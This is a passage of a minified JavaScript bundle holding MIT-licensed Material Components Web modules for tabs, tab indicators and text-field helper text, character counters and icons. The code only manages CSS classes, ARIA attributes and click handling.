t=this.root.querySelector(E.TAB_SCROLLER_SELECTOR);return t?e(t):null},t}(r.B)} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,7943:(e,t,n)=>{"use strict";n.d(t,{V:=>g});var i=n(655),r=n(5179),o=n(1661),a=n(514),s=n(6308),l={ACTIVE:"mdc-tab-indicator--active",FADE:"mdc-tab-indicator--fade",NO_TRANSITION:"mdc-tab-indicator--no-transition"},c={CONTENT_SELECTOR:".mdc-tab-indicator__content"},d=function(e){function t(n){return e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return l},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return c},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},computeContentClientRect:function{return{top:0,right:0,bottom:0,left:0,width:0,height:0}},setContentStyleProperty:function{}}},enumerable:!1,configurable:!0}),t.prototype.computeContentClientRect=function{return this.adapter.computeContentClientRect},t}(s.K); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var u=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.prototype.activate=function{this.adapter.addClass(d.cssClasses.ACTIVE)},t.prototype.deactivate=function{this.adapter.removeClass(d.cssClasses.ACTIVE)},t}(d); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var p=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.prototype.activate=function(e){if(e){var t=this.computeContentClientRect,n=e.width/t.width,i=e.left-t.left;this.adapter.addClass(d.cssClasses.NO_TRANSITION),this.adapter.setContentStyleProperty("transform","translateX("+i+"px) scaleX("+n+")"),this.computeContentClientRect,this.adapter.removeClass(d.cssClasses.NO_TRANSITION),this.adapter.addClass(d.cssClasses.ACTIVE),this.adapter.setContentStyleProperty("transform","")}else this.adapter.addClass(d.cssClasses.ACTIVE)},t.prototype.deactivate=function{this.adapter.removeClass(d.cssClasses.ACTIVE)},t}(d); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var h=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialize=function{this.content=this.root.querySelector(d.strings.CONTENT_SELECTOR)},t.prototype.computeContentClientRect=function{return this.foundation.computeContentClientRect},t.prototype.getDefaultFoundation=function{var e=this,t={addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},computeContentClientRect:function{return e.content.getBoundingClientRect},setContentStyleProperty:function(t,n){e.content.style.setProperty(t,n)}};return this.root.classList.contains(d.cssClasses.FADE)?new u(t):new p(t)},t.prototype.activate=function(e){this.foundation.activate(e)},t.prototype.deactivate=function{this.foundation.deactivate},t}(r.B),f=n(7532),g=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialize=function(e,t){void 0===e&&(e=function(e,t){return new o.F(e,t)}),void 0===t&&(t=function(e){return new h(e)}),this.id=this.root.id;var n=new a.l(o.F.createAdapter(this));this.ripple=e(this.root,n);var i=this.root.querySelector(f.m.strings.TAB_INDICATOR_SELECTOR);this.tabIndicator=t(i),this.content=this.root.querySelector(f.m.strings.CONTENT_SELECTOR)},t.prototype.initialSyncWithDOM=function{var e=this;this.handleClick=function{e.foundation.handleClick},this.listen("click",this.handleClick)},t.prototype.destroy=function{this.unlisten("click",this.handleClick),this.ripple.destroy,e.prototype.destroy.call(this)},t.prototype.getDefaultFoundation=function{var e=this,t={setAttr:function(t,n){return e.root.setAttribute(t,n)},addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},hasClass:function(t){return e.root.classList.contains(t)},activateIndicator:function(t){e.tabIndicator.activate(t)},deactivateIndicator:function{e.tabIndicator.deactivate},notifyInteracted:function{return e.emit(f.m.strings.INTERACTED_EVENT,{tabId:e.id},!0)},getOffsetLeft:function{return e.root.offsetLeft},getOffsetWidth:function{return e.root.offsetWidth},getContentOffsetLeft:function{return e.content.offsetLeft},getContentOffsetWidth:function{return e.content.offsetWidth},focus:function{return e.root.focus}};return new f.m(t)},Object.defineProperty(t.prototype,"active",{get:function{return this.foundation.isActive},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"focusOnActivate",{set:function(e){this.foundation.setFocusOnActivate(e)},enumerable:!1,configurable:!0}),t.prototype.activate=function(e){this.foundation.activate(e)},t.prototype.deactivate=function{this.foundation.deactivate},t.prototype.computeIndicatorClientRect=function{return this.tabIndicator.computeContentClientRect},t.prototype.computeDimensions=function{return this.foundation.computeDimensions},t.prototype.focus=function{this.root.focus},t}(r.B)},3871:(e,t,n)=>{"use strict";n.d(t,{U:=>i,j:=>r}); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i={ACTIVE:"mdc-tab--active"},r={ARIA_SELECTED:"aria-selected",CONTENT_SELECTOR:".mdc-tab__content",INTERACTED_EVENT:"MDCTab:interacted",RIPPLE_SELECTOR:".mdc-tab__ripple",TABINDEX:"tabIndex",TAB_INDICATOR_SELECTOR:".mdc-tab-indicator"}},7532:(e,t,n)=>{"use strict";n.d(t,{m:=>a});var i=n(655),r=n(6308),o=n(3871),a=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.focusOnActivate=!0,r}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return o.U},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return o.j},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},hasClass:function{return!1},setAttr:function{},activateIndicator:function{},deactivateIndicator:function{},notifyInteracted:function{},getOffsetLeft:function{return 0},getOffsetWidth:function{return 0},getContentOffsetLeft:function{return 0},getContentOffsetWidth:function{return 0},focus:function{}}},enumerable:!1,configurable:!0}),t.prototype.handleClick=function{this.adapter.notifyInteracted},t.prototype.isActive=function{return this.adapter.hasClass(o.U.ACTIVE)},t.prototype.setFocusOnActivate=function(e){this.focusOnActivate=e},t.prototype.activate=function(e){this.adapter.addClass(o.U.ACTIVE),this.adapter.setAttr(o.j.ARIA_SELECTED,"true"),this.adapter.setAttr(o.j.TABINDEX,"0"),this.adapter.activateIndicator(e),this.focusOnActivate&&this.adapter.focus},t.prototype.deactivate=function{this.isActive&&(this.adapter.removeClass(o.U.ACTIVE),this.adapter.setAttr(o.j.ARIA_SELECTED,"false"),this.adapter.setAttr(o.j.TABINDEX,"-1"),this.adapter.deactivateIndicator)},t.prototype.computeDimensions=function{var e=this.adapter.getOffsetWidth,t=this.adapter.getOffsetLeft,n=this.adapter.getContentOffsetWidth,i=this.adapter.getContentOffsetLeft;return{contentLeft:t+i,contentRight:t+i+n,rootLeft:t,rootRight:t+e}},t}(r.K)},9:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCTab:=>i.V,cssClasses:=>r.U,strings:=>r.j,MDCTabFoundation:=>o.m});var i=n(7943),r=n(3871),o=n(7532)} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,8490:(e,t,n)=>{"use strict";n.d(t,{c:=>a});var i=n(655),r=n(5179),o=n(1621),a=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},Object.defineProperty(t.prototype,"foundationForTextField",{get:function{return this.foundation},enumerable:!1,configurable:!0}),t.prototype.getDefaultFoundation=function{var e=this,t={setContent:function(t){e.root.textContent=t}};return new o.J(t)},t}(r.B)},3030:(e,t,n)=>{"use strict";n.d(t,{j:=>r,U:=>i}); /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i={ROOT:"mdc-text-field-character-counter"},r={ROOT_SELECTOR:"."+i.ROOT}},1621:(e,t,n)=>{"use strict";n.d(t,{J:=>a});var i=n(655),r=n(6308),o=n(3030),a=function(e){function t(n){return e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return o.U},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return o.j},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{setContent:function{}}},enumerable:!1,configurable:!0}),t.prototype.setCounterValue=function(e,t){e=Math.min(e,t),this.adapter.setContent(e+" / "+t)},t}(r.K)},4228:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCTextFieldCharacterCounter:=>i.c,MDCTextFieldCharacterCounterFoundation:=>r.J,characterCountCssClasses:=>o.U,characterCountStrings:=>o.j});var i=n(8490),r=n(1621),o=n(3030)} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,6104:(e,t,n)=>{"use strict";n.d(t,{b:=>a});var i=n(655),r=n(5179),o=n(5793),a=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},Object.defineProperty(t.prototype,"foundationForTextField",{get:function{return this.foundation},enumerable:!1,configurable:!0}),t.prototype.getDefaultFoundation=function{var e=this,t={addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},hasClass:function(t){return e.root.classList.contains(t)},getAttr:function(t){return e.root.getAttribute(t)},setAttr:function(t,n){return e.root.setAttribute(t,n)},removeAttr:function(t){return e.root.removeAttribute(t)},setContent:function(t){e.root.textContent=t}};return new o.w(t)},t}(r.B)},7103:(e,t,n)=>{"use strict";n.d(t,{j:=>r,U:=>i}); /** * @license * Copyright 2016 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i={HELPER_TEXT_PERSISTENT:"mdc-text-field-helper-text--persistent",HELPER_TEXT_VALIDATION_MSG:"mdc-text-field-helper-text--validation-msg",ROOT:"mdc-text-field-helper-text"},r={ARIA_HIDDEN:"aria-hidden",ROLE:"role",ROOT_SELECTOR:"."+i.ROOT}},5793:(e,t,n)=>{"use strict";n.d(t,{w:=>a});var i=n(655),r=n(6308),o=n(7103),a=function(e){function t(n){return e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return o.U},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return o.j},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},hasClass:function{return!1},getAttr:function{return null},setAttr:function{},removeAttr:function{},setContent:function{}}},enumerable:!1,configurable:!0}),t.prototype.getId=function{return this.adapter.getAttr("id")},t.prototype.isVisible=function{return"true"!==this.adapter.getAttr(o.j.ARIA_HIDDEN)},t.prototype.setContent=function(e){this.adapter.setContent(e)},t.prototype.isPersistent=function{return this.adapter.hasClass(o.U.HELPER_TEXT_PERSISTENT)},t.prototype.setPersistent=function(e){e?this.adapter.addClass(o.U.HELPER_TEXT_PERSISTENT):this.adapter.removeClass(o.U.HELPER_TEXT_PERSISTENT)},t.prototype.isValidation=function{return this.adapter.hasClass(o.U.HELPER_TEXT_VALIDATION_MSG)},t.prototype.setValidation=function(e){e?this.adapter.addClass(o.U.HELPER_TEXT_VALIDATION_MSG):this.adapter.removeClass(o.U.HELPER_TEXT_VALIDATION_MSG)},t.prototype.showToScreenReader=function{this.adapter.removeAttr(o.j.ARIA_HIDDEN)},t.prototype.setValidity=function(e){var t=this.adapter.hasClass(o.U.HELPER_TEXT_PERSISTENT),n=this.adapter.hasClass(o.U.HELPER_TEXT_VALIDATION_MSG)&&!e;n?(this.showToScreenReader,"alert"===this.adapter.getAttr(o.j.ROLE)?this.refreshAlertRole:this.adapter.setAttr(o.j.ROLE,"alert")):this.adapter.removeAttr(o.j.ROLE),t||n||this.hide},t.prototype.hide=function{this.adapter.setAttr(o.j.ARIA_HIDDEN,"true")},t.prototype.refreshAlertRole=function{var e=this;this.adapter.removeAttr(o.j.ROLE),requestAnimationFrame((function{e.adapter.setAttr(o.j.ROLE,"alert")}))},t}(r.K)},9928:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCTextFieldHelperText:=>i.b,MDCTextFieldHelperTextFoundation:=>r.w,helperTextCssClasses:=>o.U,helperTextStrings:=>o.j});var i=n(6104),r=n(5793),o=n(7103)} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,9958:(e,t,n)=>{"use strict";n.d(t,{O:=>a});var i=n(655),r=n(5179),o=n(9495),a=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},Object.defineProperty(t.prototype,"foundationForTextField",{get:function{return this.foundation},enumerable:!1,configurable:!0}),t.prototype.getDefaultFoundation=function{var e=this,t={getAttr:function(t){return e.root.getAttribute(t)},setAttr:function(t,n){return e.root.setAttribute(t,n)},removeAttr:function(t){return e.root.removeAttribute(t)},setContent:function(t){e.root.textContent=t},registerInteractionHandler:function(t,n){return e.listen(t,n)},deregisterInteractionHandler:function(t,n){return e.unlisten(t,n)},notifyIconAction:function{return e.emit(o.D.strings.ICON_EVENT,{},!0)}};return new o.D(t)},t}(r.B)},1409:(e,t,n)=>{"use strict";n.d(t,{j:=>i,U:=>r}); /** * @license * Copyright 2016 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i={ICON_EVENT:"MDCTextField:icon",ICON_ROLE:"button"},r={ROOT:"mdc-text-field__icon"}},9495:(e,t,n)=>{"use strict";n.d(t,{D:=>s});var i=n(655),r=n(6308),o=n(1409),a=["click","keydown"],s=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.savedTabIndex=null,r.interactionHandler=function(e){r.handleInteraction(e)},r}return(0,i.__extends)(t,e),Object.defineProperty(t,"strings",{get:function{return o.j},enumerable:!1,configurable:!0}),Object.defineProperty(t,"cssClasses",{get:function{return o.U},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{getAttr:function{return null},setAttr:function{},removeAttr:function{},setContent:function{},registerInteractionHandler:function{},deregisterInteractionHandler:function{},notifyIconAction:function{}}},enumerable:!1,configurable:!0}),t.prototype.init=function{var e,t;this.savedTabIndex=this.adapter.getAttr("tabindex");try{for(var n=(0,i.__values)(a),r=n.next;!r.done;r=n.next){var o=r.value;this.adapter.registerInteractionHandler(o,this.interactionHandler)}}catch(t){e={error:t}}finally{try{r&&!r.done&&(t=n.return)&&t.call(n)}finally{if(e)throw e.error}}},t.prototype.destroy=function{var e,t;try{for(var n=(0,i.__values)(a),r=n.next;!r.done;r=n.next){var o=r.value;this.adapter.deregisterInteractionHandler(o,this.interactionHandler)}}catch(t){e={error:t}}finally{try{r&&!r.done&&(t=n.return)&&t.call(n)}finally{if(e)throw e.error}}},t.prototype.setDisabled=function(e){this.savedTabIndex&&(e?(this.adapter.setAttr("tabindex","-1"),this.adapter.removeAttr("role")):(this.adapter.setAttr("tabindex",this.savedTabIndex),this.adapter.setAttr("role",o.j.ICON_ROLE)))},t.prototype.setAriaLabel=function(e){this.adapter.setAttr("aria-label",e)},t.prototype.setContent=function(e){this.adapter.setContent(e)},t.prototype.handleInteraction=function(e){var t="Enter"===e.key||13===e.keyCode;("click"===e.type||t)&&(e.preventDefault,this.adapter.notifyIconAction)},t}(r.K)},9308:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCTextFieldIcon:=>i.O,MDCTextFieldIconFoundation:=>r.D,iconCssClasses:=>o.U,iconStrings:=>o.j});var i=n(9958),r=n(9495),o=n(1409)} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,4534:(e,t,n)=>{"use strict";n.r(t),n.d(t,{ALWAYS_FLOAT_TYPES:=>A,MDCTextField:=>w,MDCTextFieldCharacterCounter:=>S.MDCTextFieldCharacterCounter,MDCTextFieldCharacterCounterFoundation:=>S.MDCTextFieldCharacterCounterFoundation,MDCTextFieldFoundation:=>I,MDCTextFieldHelperText:=>x.MDCTextFieldHelperText,MDCTextFieldHelperTextFoundation:=>x.MDCTextFieldHelperTextFoundation,MDCTextFieldIcon:=>D.MDCTextFieldIcon,MDCTextFieldIconFoundation:=>D.MDCTextFieldIconFoundation,VALIDATION_ATTR_WHITELIST:=>v,characterCountCssClasses:=>S.characterCountCssClasses,characterCountStrings:=>S.characterCountStrings,cssClasses:=>g,helperTextCssClasses:=>x.helperTextCssClasses,helperTextStrings:=>x.helperTextStrings,iconCssClasses:=>D.iconCssClasses,iconStrings:=>D.iconStrings,numbers:=>m,strings:=>f});var i=n(655),r=n(5179),o=n(9397),a=n(2851),s=n(7706),l=n(8323),c=n(9966),d=n(1661),u=n(514),p=n(8490),h=n(1621),f={ARIA_CONTROLS:"aria-controls",ARIA_DESCRIBEDBY:"aria-describedby",INPUT_SELECTOR:".mdc-text-field__input",LABEL_SELECTOR:".mdc-floating-label",LEADING_ICON_SELECTOR:".mdc-text-field__icon--leading",LINE_RIPPLE_SELECTOR:".mdc-line-ripple",OUTLINE_SELECTOR:".mdc-notched-outline",PREFIX_SELECTOR:".mdc-text-field__affix--prefix",SUFFIX_SELECTOR:".mdc-text-field__affix--suffix",TRAILING_ICON_SELECTOR:".mdc-text-field__icon--trailing"},g={DISABLED:"mdc-text-field--disabled",FOCUSED:"mdc-text-field--focused",HELPER_LINE:"mdc-text-field-helper-line",INVALID:"mdc-text-field--invalid",LABEL_FLOATING:"mdc-text-field--label-floating",NO_LABEL:"mdc-text-field--no-label",OUTLINED:"mdc-text-field--outlined",ROOT:"mdc-text-field",TEXTAREA:"mdc-text-field--textarea",WITH_LEADING_ICON:"mdc-text-field--with-leading-icon",WITH_TRAILING_ICON:"mdc-text-field--with-trailing-icon",WITH_INTERNAL_COUNTER:"mdc-text-field--with-internal-counter"},m={LABEL_SCALE:.75},v=["pattern","min","max","required","step","minlength","maxlength"],A=["color","date","datetime-local","month","range","time","week"],y=n(6308),_=["mousedown","touchstart"],b=["click","keydown"],I=function(e){function t(n,r){void 0===r&&(r={});var o=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return 